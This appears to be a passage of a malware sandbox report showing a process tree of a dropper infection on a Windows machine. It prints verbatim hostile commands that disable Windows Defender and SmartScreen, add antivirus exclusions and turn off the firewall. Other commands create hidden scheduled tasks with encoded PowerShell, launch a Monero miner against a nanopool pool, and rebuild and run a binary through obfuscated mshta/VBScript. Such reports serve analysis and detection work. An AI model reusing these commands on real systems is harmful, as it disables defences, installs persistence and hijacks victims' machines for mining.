"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1692,7672690731226439243,16872145029700668896,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2312 /prefetch:8
8⤵
PID:9228

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1692,7672690731226439243,16872145029700668896,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2620 /prefetch:1
8⤵
PID:9788

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1692,7672690731226439243,16872145029700668896,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2628 /prefetch:1
8⤵
PID:10280

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1692,7672690731226439243,16872145029700668896,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3428 /prefetch:1
8⤵
PID:10400

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1692,7672690731226439243,16872145029700668896,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3520 /prefetch:1
8⤵
PID:10700

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1692,7672690731226439243,16872145029700668896,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4544 /prefetch:8
8⤵
PID:11048

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1692,7672690731226439243,16872145029700668896,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4592 /prefetch:8
8⤵
PID:11084

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1692,7672690731226439243,16872145029700668896,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4952 /prefetch:8
8⤵
PID:9516

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1692,7672690731226439243,16872145029700668896,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=852 /prefetch:8
8⤵
PID:9000

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1692,7672690731226439243,16872145029700668896,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 /prefetch:8
8⤵
PID:8576

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1692,7672690731226439243,16872145029700668896,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4564 /prefetch:8
8⤵
PID:7636

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C taskkill /F /PID 8044 && choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\_xa_Ocvj8QQX5s1MVuyQiSL3.exe"
7⤵
PID:5888

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /PID 8044
8⤵
- Kills process with taskkill
PID:10868

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C taskkill /F /PID 8044 && choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\_xa_Ocvj8QQX5s1MVuyQiSL3.exe"
7⤵
PID:4184

C:\Windows\SysWOW64\taskkill.exe
taskkill /F /PID 8044
8⤵
- Kills process with taskkill
PID:10800

C:\Users\Admin\Documents\Z1kNXR0sGoEgS8u89LR_FeV5.exe
"C:\Users\Admin\Documents\Z1kNXR0sGoEgS8u89LR_FeV5.exe"
6⤵
PID:8072

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im Z1kNXR0sGoEgS8u89LR_FeV5.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\Z1kNXR0sGoEgS8u89LR_FeV5.exe" & del C:\ProgramData\*.dll & exit
7⤵
PID:6852

C:\Windows\SysWOW64\taskkill.exe
taskkill /im Z1kNXR0sGoEgS8u89LR_FeV5.exe /f
8⤵
- Kills process with taskkill
PID:10144

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
8⤵
- Delays execution with timeout.exe
PID:7624

C:\Users\Admin\Documents\d2QfMdR8d0e1N50DKAtjmebT.exe
"C:\Users\Admin\Documents\d2QfMdR8d0e1N50DKAtjmebT.exe"
6⤵
PID:5048

C:\Users\Admin\AppData\Local\Temp\7zS4439.tmp\Install.exe
.\Install.exe
7⤵
PID:6240

C:\Users\Admin\AppData\Local\Temp\7zS6473.tmp\Install.exe
.\Install.exe /S /site_id "394347"
8⤵
PID:8552

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &
9⤵
PID:8152

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"
10⤵
PID:2668

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
11⤵
PID:8256

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
12⤵
PID:8088

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
13⤵
PID:9712

C:\Windows\SysWOW64\forfiles.exe
forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True"
10⤵
PID:7052

C:\Windows\SysWOW64\cmd.exe
/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
11⤵
PID:2264

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
12⤵
PID:396

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
13⤵
- Suspicious use of AdjustPrivilegeToken
PID:5076

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
9⤵
PID:5764

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
10⤵
PID:8112

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
11⤵
PID:8900

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
11⤵
PID:7572

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
9⤵
PID:7072

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
10⤵
PID:4964

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
11⤵
PID:8672

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
11⤵
PID:9564

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gpppKQRSj" /SC once /ST 11:03:58 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
9⤵
- Creates scheduled task(s)
PID:7716

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gpppKQRSj"
9⤵
PID:8336

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gpppKQRSj"
9⤵
PID:10216

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "bvEsRafWhMmKiBKDqW" /SC once /ST 17:36:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\gYVyVZzeAgrTvcrYe\JEfvGBfPCumMMfM\dnDmkfY.exe\" 9Y /site_id 394347 /S" /V1 /F
9⤵
- Creates scheduled task(s)
PID:5764

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "bvEsRafWhMmKiBKDqW"
9⤵
PID:10408

C:\Users\Admin\Documents\UqFIgPV1LjFfeKqRnPZTElnX.exe
"C:\Users\Admin\Documents\UqFIgPV1LjFfeKqRnPZTElnX.exe"
6⤵
PID:5952

C:\Users\Admin\Documents\UqFIgPV1LjFfeKqRnPZTElnX.exe
"C:\Users\Admin\Documents\UqFIgPV1LjFfeKqRnPZTElnX.exe"
7⤵
PID:8892

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Documents\UqFIgPV1LjFfeKqRnPZTElnX.exe"
7⤵
PID:6488

C:\Users\Admin\Documents\USz6npYJhQUNx9KvLgoBaNlB.exe
"C:\Users\Admin\Documents\USz6npYJhQUNx9KvLgoBaNlB.exe"
6⤵
PID:6948

C:\ProgramData\57U2XURW1WVQRHO4.exe
"C:\ProgramData\57U2XURW1WVQRHO4.exe"
7⤵
PID:8816

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" C:\ProgramData\UpSys.exe /SW:0 powershell.exe $(Add-MpPreference -ExclusionPath C:\); $(cd HKLM:\); $(New-ItemProperty –Path $HKLM\SOFTWARE\Policies\Microsoft\Windows\System –Name EnableSmartScreen -PropertyType DWord -Value 0); $(Set-ItemProperty -Path $HKLM\SYSTEM\CurrentControlSet\Services\mpssvc -Name Start -Value 4); $(netsh advfirewall set allprofiles state off); $(Get-Acl C:\ProgramData\Microsoft\Windows\SystemData | Set-Acl C:\ProgramData\MicrosoftNetwork); $(exit)
8⤵
PID:4716

C:\ProgramData\UpSys.exe
"C:\ProgramData\UpSys.exe" /SW:0 powershell.exe
9⤵
PID:6708

C:\ProgramData\UpSys.exe
"C:\ProgramData\UpSys.exe" /SW:0 powershell.exe
10⤵
PID:8060

C:\ProgramData\UpSys.exe
"C:\ProgramData\UpSys.exe" /TI/ /SW:0 powershell.exe
11⤵
PID:6404

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
12⤵
PID:9012

C:\Windows\system32\netsh.exe
"C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
9⤵
PID:9284

C:\ProgramData\Systemd\Database.exe
NULL
8⤵
PID:10260

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im USz6npYJhQUNx9KvLgoBaNlB.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\USz6npYJhQUNx9KvLgoBaNlB.exe" & del C:\ProgramData\*.dll & exit
7⤵
PID:4884

C:\Windows\SysWOW64\taskkill.exe
taskkill /im USz6npYJhQUNx9KvLgoBaNlB.exe /f
8⤵
- Kills process with taskkill
PID:7040

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
8⤵
- Delays execution with timeout.exe
PID:7416

C:\Users\Admin\Documents\9D4ZQmXQymoBno3iakxsuJsd.exe
"C:\Users\Admin\Documents\9D4ZQmXQymoBno3iakxsuJsd.exe"
6⤵
PID:6212

C:\Users\Admin\Documents\9D4ZQmXQymoBno3iakxsuJsd.exe
C:\Users\Admin\Documents\9D4ZQmXQymoBno3iakxsuJsd.exe
7⤵
PID:8376

C:\Users\Admin\Documents\9D4ZQmXQymoBno3iakxsuJsd.exe
C:\Users\Admin\Documents\9D4ZQmXQymoBno3iakxsuJsd.exe
7⤵
PID:8832

C:\Users\Admin\Documents\6K7FNXP2ql3RFRA1jazo6EHW.exe
"C:\Users\Admin\Documents\6K7FNXP2ql3RFRA1jazo6EHW.exe"
6⤵
PID:7452

C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe
"C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"
7⤵
PID:9068

C:\Program Files (x86)\Company\NewProduct\inst001.exe
"C:\Program Files (x86)\Company\NewProduct\inst001.exe"
7⤵
PID:9120

C:\Program Files (x86)\Company\NewProduct\cm3.exe
"C:\Program Files (x86)\Company\NewProduct\cm3.exe"
7⤵
PID:9060

C:\Users\Admin\Documents\30uekvXPaSmPUCIUmm5X1idK.exe
"C:\Users\Admin\Documents\30uekvXPaSmPUCIUmm5X1idK.exe"
6⤵
PID:4484

C:\Users\Admin\Documents\30uekvXPaSmPUCIUmm5X1idK.exe
C:\Users\Admin\Documents\30uekvXPaSmPUCIUmm5X1idK.exe
7⤵
PID:8528

C:\Users\Admin\Documents\qVK633zYKDqYstzAiTj3n__K.exe
"C:\Users\Admin\Documents\qVK633zYKDqYstzAiTj3n__K.exe"
6⤵
PID:5320

C:\Users\Admin\AppData\Roaming\6053860.scr
"C:\Users\Admin\AppData\Roaming\6053860.scr" /S
7⤵
PID:6824

C:\Users\Admin\AppData\Roaming\5696934.scr
"C:\Users\Admin\AppData\Roaming\5696934.scr" /S
7⤵
PID:8648

C:\Users\Admin\AppData\Roaming\5365797.scr
"C:\Users\Admin\AppData\Roaming\5365797.scr" /S
7⤵
PID:9420

C:\Users\Admin\AppData\Roaming\8907463.scr
"C:\Users\Admin\AppData\Roaming\8907463.scr" /S
7⤵
PID:9448

C:\Users\Admin\AppData\Roaming\8907463.scr
"C:\Users\Admin\AppData\Roaming\8907463.scr"
8⤵
PID:9896

C:\Users\Admin\AppData\Roaming\8907463.scr
"C:\Users\Admin\AppData\Roaming\8907463.scr"
8⤵
PID:9924

C:\Users\Admin\AppData\Roaming\6988433.scr
"C:\Users\Admin\AppData\Roaming\6988433.scr" /S
7⤵
PID:9752

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri156c10dd46.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:3600

C:\Users\Admin\AppData\Local\Temp\7zS8FED6023\Fri156c10dd46.exe
Fri156c10dd46.exe
5⤵
- Executes dropped EXE
PID:3552

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri155e6d4468.exe
4⤵
PID:1900

C:\Users\Admin\AppData\Local\Temp\7zS8FED6023\Fri155e6d4468.exe
Fri155e6d4468.exe
5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3948

C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
6⤵
- Executes dropped EXE
PID:4956

C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
"C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
7⤵
- Executes dropped EXE
PID:4548

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
8⤵
PID:6788

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
9⤵
- Creates scheduled task(s)
PID:7672

C:\Users\Admin\AppData\Roaming\services64.exe
"C:\Users\Admin\AppData\Roaming\services64.exe"
8⤵
PID:6224

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
9⤵
PID:4408

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
10⤵
- Creates scheduled task(s)
PID:2280

C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
9⤵
PID:4368

C:\Windows\explorer.exe
C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
9⤵
PID:8716

C:\Users\Admin\AppData\Local\Temp\4.exe
"C:\Users\Admin\AppData\Local\Temp\4.exe"
7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4776

C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
8⤵
PID:2876

C:\Windows\SysWOW64\cmd.exe
"cmd" /c cmd < Essendosi.dot
9⤵
PID:4184

C:\Windows\SysWOW64\cmd.exe
cmd
10⤵
PID:5652

C:\Windows\SysWOW64\findstr.exe
findstr /V /R "^MownSQgCPuLHWmIqWzHUkrmFXfwqDzhgFgBiLScpipcbLfwKQhZKSNxIJcADPhYvTvwIXAftYbMeHwUIgsldzCvSTSnfaRxTlZEfgaMdXVMxqawIBRfbrIedqpO$" Trasporta.dot
11⤵
PID:7336

C:\Users\Admin\AppData\Roaming\Lei.exe.com
Lei.exe.com R
11⤵
PID:4880

C:\Users\Admin\AppData\Roaming\Lei.exe.com
C:\Users\Admin\AppData\Roaming\Lei.exe.com R
12⤵
PID:8040

C:\Users\Admin\AppData\Roaming\Lei.exe.com
C:\Users\Admin\AppData\Roaming\Lei.exe.com R
13⤵
PID:8468

C:\Users\Admin\AppData\Roaming\Lei.exe.com
C:\Users\Admin\AppData\Roaming\Lei.exe.com R
14⤵
PID:8896

C:\Users\Admin\AppData\Roaming\Lei.exe.com
C:\Users\Admin\AppData\Roaming\Lei.exe.com R
15⤵
PID:6352

C:\Users\Admin\AppData\Roaming\Lei.exe.com
C:\Users\Admin\AppData\Roaming\Lei.exe.com R
16⤵
PID:5600

C:\Users\Admin\AppData\Roaming\Lei.exe.com
C:\Users\Admin\AppData\Roaming\Lei.exe.com R
17⤵
PID:4852

C:\Users\Admin\AppData\Roaming\Lei.exe.com
C:\Users\Admin\AppData\Roaming\Lei.exe.com R
18⤵
PID:7332

C:\Users\Admin\AppData\Roaming\Lei.exe.com
C:\Users\Admin\AppData\Roaming\Lei.exe.com R
19⤵
PID:7776

C:\Users\Admin\AppData\Roaming\Lei.exe.com
C:\Users\Admin\AppData\Roaming\Lei.exe.com R
20⤵
PID:9876

C:\Users\Admin\AppData\Roaming\Lei.exe.com
C:\Users\Admin\AppData\Roaming\Lei.exe.com R
21⤵
PID:9340

C:\Users\Admin\AppData\Roaming\Lei.exe.com
C:\Users\Admin\AppData\Roaming\Lei.exe.com R
22⤵
PID:5320

C:\Users\Admin\AppData\Roaming\Lei.exe.com
C:\Users\Admin\AppData\Roaming\Lei.exe.com R
23⤵
PID:2876

C:\Users\Admin\AppData\Roaming\Lei.exe.com
C:\Users\Admin\AppData\Roaming\Lei.exe.com R
24⤵
PID:7716

C:\Users\Admin\AppData\Roaming\Lei.exe.com
C:\Users\Admin\AppData\Roaming\Lei.exe.com R
25⤵
PID:9588

C:\Users\Admin\AppData\Roaming\Lei.exe.com
C:\Users\Admin\AppData\Roaming\Lei.exe.com R
26⤵
PID:9380

C:\Users\Admin\AppData\Roaming\Lei.exe.com
C:\Users\Admin\AppData\Roaming\Lei.exe.com R
27⤵
PID:9456

C:\Users\Admin\AppData\Roaming\Lei.exe.com
C:\Users\Admin\AppData\Roaming\Lei.exe.com R
28⤵
PID:2876

C:\Users\Admin\AppData\Roaming\Lei.exe.com
C:\Users\Admin\AppData\Roaming\Lei.exe.com R
29⤵
PID:4196

C:\Users\Admin\AppData\Roaming\Lei.exe.com
C:\Users\Admin\AppData\Roaming\Lei.exe.com R
30⤵
PID:6624

C:\Users\Admin\AppData\Roaming\Lei.exe.com
C:\Users\Admin\AppData\Roaming\Lei.exe.com R
31⤵
PID:8212

C:\Users\Admin\AppData\Roaming\Lei.exe.com
C:\Users\Admin\AppData\Roaming\Lei.exe.com R
32⤵
PID:7012

C:\Users\Admin\AppData\Roaming\Lei.exe.com
C:\Users\Admin\AppData\Roaming\Lei.exe.com R
33⤵
PID:5516

C:\Users\Admin\AppData\Roaming\Lei.exe.com
C:\Users\Admin\AppData\Roaming\Lei.exe.com R
34⤵
PID:7640

C:\Users\Admin\AppData\Roaming\Lei.exe.com
C:\Users\Admin\AppData\Roaming\Lei.exe.com R
35⤵
PID:5428

C:\Users\Admin\AppData\Roaming\Lei.exe.com
C:\Users\Admin\AppData\Roaming\Lei.exe.com R
36⤵
PID:7008

C:\Windows\SysWOW64\PING.EXE
ping localhost
11⤵
- Runs ping.exe
PID:4628

C:\Users\Admin\AppData\Local\Temp\sfx_123_206.exe
"C:\Users\Admin\AppData\Local\Temp\sfx_123_206.exe"
7⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:4660

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbScriPt: CLOSe ( CreatEOBjECt ("WScRIpt.sHell" ). rUn ( "CmD.Exe /Q /C COpy /Y ""C:\Users\Admin\AppData\Local\Temp\sfx_123_206.exe"" ..\4MCYlgNAW.eXE && StArT ..\4MCYlGNAW.EXE /pni3MGzH3fZ3zm0HbFMiEo11u& IF """" =="""" for %z iN (""C:\Users\Admin\AppData\Local\Temp\sfx_123_206.exe"") do taskkill -f /Im ""%~nXz"" " , 0 , tRue ))
8⤵
PID:5516

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /C COpy /Y "C:\Users\Admin\AppData\Local\Temp\sfx_123_206.exe" ..\4MCYlgNAW.eXE && StArT ..\4MCYlGNAW.EXE /pni3MGzH3fZ3zm0HbFMiEo11u& IF "" =="" for %z iN ("C:\Users\Admin\AppData\Local\Temp\sfx_123_206.exe") do taskkill -f /Im "%~nXz"
9⤵
PID:5076

C:\Users\Admin\AppData\Local\Temp\4MCYlgNAW.eXE
..\4MCYlGNAW.EXE /pni3MGzH3fZ3zm0HbFMiEo11u
10⤵
PID:6544

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbScriPt: CLOSe ( CreatEOBjECt ("WScRIpt.sHell" ). rUn ( "CmD.Exe /Q /C COpy /Y ""C:\Users\Admin\AppData\Local\Temp\4MCYlgNAW.eXE"" ..\4MCYlgNAW.eXE && StArT ..\4MCYlGNAW.EXE /pni3MGzH3fZ3zm0HbFMiEo11u& IF ""/pni3MGzH3fZ3zm0HbFMiEo11u"" =="""" for %z iN (""C:\Users\Admin\AppData\Local\Temp\4MCYlgNAW.eXE"") do taskkill -f /Im ""%~nXz"" " , 0 , tRue ))
11⤵
PID:6608

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /C COpy /Y "C:\Users\Admin\AppData\Local\Temp\4MCYlgNAW.eXE" ..\4MCYlgNAW.eXE && StArT ..\4MCYlGNAW.EXE /pni3MGzH3fZ3zm0HbFMiEo11u& IF "/pni3MGzH3fZ3zm0HbFMiEo11u" =="" for %z iN ("C:\Users\Admin\AppData\Local\Temp\4MCYlgNAW.eXE") do taskkill -f /Im "%~nXz"
12⤵
PID:4536

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbscript: cLoSE ( cREAtEObJect ( "wSCRipT.SHELl" ). Run("Cmd /Q /C eCHo | SeT /p = ""MZ"" > 4~T6.Kj6& cOPy /b /y 4~T6.kJ6 +JJDPQL_.2B+ Z8ISJ6._Nm+oAykH.~~ +kdDPiLEn.~T5 + MZaNA.E ..\Kz_AMsXL.6g & Del /q *& STArT control ..\kZ_AmsXL.6G " ,0, trUE ) )
11⤵
PID:8088

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /C eCHo | SeT /p = "MZ" > 4~T6.Kj6&cOPy /b /y 4~T6.kJ6+JJDPQL_.2B+Z8ISJ6._Nm+oAykH.~~ +kdDPiLEn.~T5 + MZaNA.E ..\Kz_AMsXL.6g & Del /q *& STArT control ..\kZ_AmsXL.6G
12⤵
PID:8420

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" eCHo "
13⤵
PID:9140

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" SeT /p = "MZ" 1>4~T6.Kj6"
13⤵
PID:4240

C:\Windows\SysWOW64\control.exe
control ..\kZ_AmsXL.6G
13⤵
PID:6212

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\kZ_AmsXL.6G
14⤵
PID:6592

C:\Windows\system32\RunDll32.exe
